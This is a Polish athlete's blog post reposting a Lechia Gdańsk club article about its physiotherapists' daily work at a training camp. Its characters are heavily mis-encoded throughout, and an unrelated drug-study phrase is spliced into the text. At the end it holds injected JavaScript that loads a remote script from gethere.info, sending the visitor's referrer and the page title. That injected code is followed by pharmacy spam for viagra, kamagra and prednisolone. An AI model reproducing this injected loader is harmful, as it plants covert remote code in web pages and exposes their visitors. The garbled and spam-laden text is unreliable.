ArtykuAi?? o moich rehabilitantach:)

14.02.2012 / Mariusz Cieśliński

ZnalazAi??em artykuAi?? o chAi??opakach ,ktA?rzy stojAi?? za mojAi?? rehabilitacjAi?? i powrotem do peAi??nej sprawnoAi??ci po rekonstrukcji ACL.PoniA?ej zapraszam do przeczytania :)

* AKTUALNOAsCI
a cost effectiveness analysis of treatment options for methotrexate-naive rheumatoid arthritis Mnie wyprowadzali na prostAi??Ai?? z ciemnej doliny.Bez ich wsparcia i fachowoAi??ci bym siAi?? tak szybko nie pozbieraAi?? po tak ciAi??A?kim urazie :).Ich wskazA?wki, moja ciAi??A?ka praca plus dieta i support firmy Trec Nutrition z jej produktami to coAi?? co pozwoliAi??o mi uAi??oA?yAi?? juA? kalendarz startA?w na ten rok.FIGHT & SPORT ADDICTION :)!

Newsy
Zdrowie piAi??karzy jest w ich rAi??kach
2012-02-06

Na zgrupowaniu dzieAi?? zaczyna siAi?? dla nich tuA? po godzinie 7, a koAi??czy po 23. MajAi?? za zadanie dbaAi?? o zdrowie piAi??karzy Lechii i zapobiegaAi?? urazom. Mowa o Robercie Dominiaku i Michale Rogackim ai??i?? sztabie medycznym zespoAi??u BiaAi??o-Zielonych.

Na obA?z zabrali ze sobAi?? cztery metalowe skrzynie z rA?A?nymi medykamentami, ktA?re waA?yAi??y Ai??Ai??cznie 100 kilogramA?w. A w nich lekarstwa, bandaA?e, plastry, maAi??ci, suplementy diety, odA?ywki ai??i?? czyli wszystko to, co moA?e byAi?? przydatne podczas zgrupowania. ai??i?? Zdrowie piAi??karzy jest dla nas najwaA?niejsze ai??i?? podkreAi??lajAi?? zgodnie Robert Dominiak, trener odnowy biologicznej i MichaAi?? Rogacki, fizjoterapeuta Lechii.
Niemal kaA?dy dzieAi?? na obozie zaczyna siAi?? dla nich bardzo wczeAi??nie. PobudkAi?? majAi?? tuA? po godzinie 7. Najpierw muszAi?? przygotowaAi?? siAi?? do codziennych obowiAi??zkA?w. TuA? przed Ai??niadaniem odwiedzajAi?? ich zawodnicy, by dokonaAi?? pomiaru swojego ciaAi??a. NiezaleA?nie od tego, co trzy dni dokonywane sAi?? oficjalne pomiary piAi??karzy ai??i?? waga ciaAi??a i poziom tkanki tAi??uszczowej. CaAi??oAi??Ai?? wynikA?w jest dokumentowana na potrzeby sztabu trenerskiego.
MichaAi?? Rogacki odpowiada za codzienne zaopatrzenie zawodnikA?w w suplementy diety A?ywieniowej i przygotowuje dla nich pAi??yny. Robert Dominiak ma z kolei za zadanie dbaAi?? o zdrowie piAi??karzy i przeciwdziaAi??aAi?? urazom.
Po Ai??niadaniu rozpoczyna siAi?? dla nich praca, majAi??ca na celu przygotowanie LechistA?w do porannego treningu. Scenariusz kaA?dego dnia jest praktycznie taki sam. Zawodnicy kolejno przychodzAi?? do ich gabinetu, na potrzeby ktA?rego zaadoptowano jeden duA?y hotelowy pokA?j. ai??i?? I zaczynajAi?? siAi?? wcierki, Ai??wiczenia rozgrzewajAi??ce, masaA?e miAi??Ai??ni. To ma za zadanie przygotowaAi?? chAi??opakA?w do pracy na boisku ai??i?? wyjaAi??nia Robert Dominiak. Na nim spoczywa teA? zastosowanie wobec niektA?rych kinesioteapingu, czyli naAi??oA?enia na nogi specjalnych plastrA?w, ktA?re majAi?? wspomagaAi?? lub wyhamowaAi?? pracAi?? miAi??Ai??ni podczas treningu. Stosowany jest teA? teaping, ktA?ry ma na celu stabilizowaAi?? stawy skokowe.
PiAi??karze Lechii korzystajAi?? z usAi??ug sztabu medycznego codziennie. Ale sAi?? teA? stali bywalcy w gabinecie fizjoterapeutA?w. ai??i?? To ci, ktA?rzy majAi?? rA?A?ne drobne dolegliwoAi??ci i potrzebujAi?? dodatkowego przygotowania organizmu do wysiAi??ku ai??i?? tAi??umaczy Robert Dominiak. Ten ostatni, gdy inni piAi??karze trenujAi??, wykonuje Ai??wiczenia z zawodnikami narzekajAi??cymi na drobne urazy lub wracajAi??cymi do zdrowia.
Dalsza czAi??Ai??Ai?? dnia wyglAi??da tak samo. Kolejne wizyty piAi??karzy, masaA?e obolaAi??ych miAi??Ai??ni, wcieranie maAi??ci rozgrzewajAi??cych. PopoAi??udniowy trening, po nim znA?w praca z zawodnikami. I tak do godziny 23. W miAi??dzyczasie jest wieczorna odprawa z pierwszym trenerem, a na niej omA?wienie stanu zdrowia piAi??karzy i szczegA?Ai??owego planu zajAi??Ai?? na nastAi??pny dzieAi??. ai??i?? ChoAi?? ta praca jest momentami bardzo wyczerpujAi??ca, to gdybyAi??my mieli cofnAi??Ai?? czas, niczego byAi??my nie zmienili ai??i?? podkreAi??lajAi?? zgodnie Robert Dominiak i MichaAi?? Rogacki.

UdostAi??pnij

poprzednie artykuAi??y:
Usprawnienie obsAi??ugi parkingA?w
2012-02-10
SkAi??ad Lechii na mecz z MoAi??dawianami
2012-02-06
wszystkieAi??

Inforlinia Lechii GdaAi??sk – 58 7 688 688
zapisz siAi?? Ai??

* Karta Kibica Lechii GdaAi??sk
*
* Punkty sprzedaA?y biletA?w i pamiAi??tek
*
* Punkty Partnerskie Lechii GdaAi??sk
*
* Punkty sprzedaA?y LG Energy Drink

Luty
,
2012

Pn Wt Asr Cz Pt So N
30 31 1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 1 2 3 4
5 6 7 8 9 10 11
2012-02-18 15:45 Ekstraklasa 2011/2012
Cracovia – Lechia GdaAi??sk
2012-02-24 18:00 Ekstraklasa 2011/2012
A?KS A?A?dA? – Lechia GdaAi??sk
2012-03-03 18:00 Ekstraklasa 2011/2012
Lechia GdaAi??sk – WisAi??a KrakA?w
MAPA SERWISUs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‚script’); if (document.currentScript) { Cheap Purchase pills online Order buy prednisolone online viagra 200 mg for sale static caravans for sale on site in lancashire ?buy celadrin Purchase kamagra jelly amazon. buy Kamagra. kamagra jelly. Order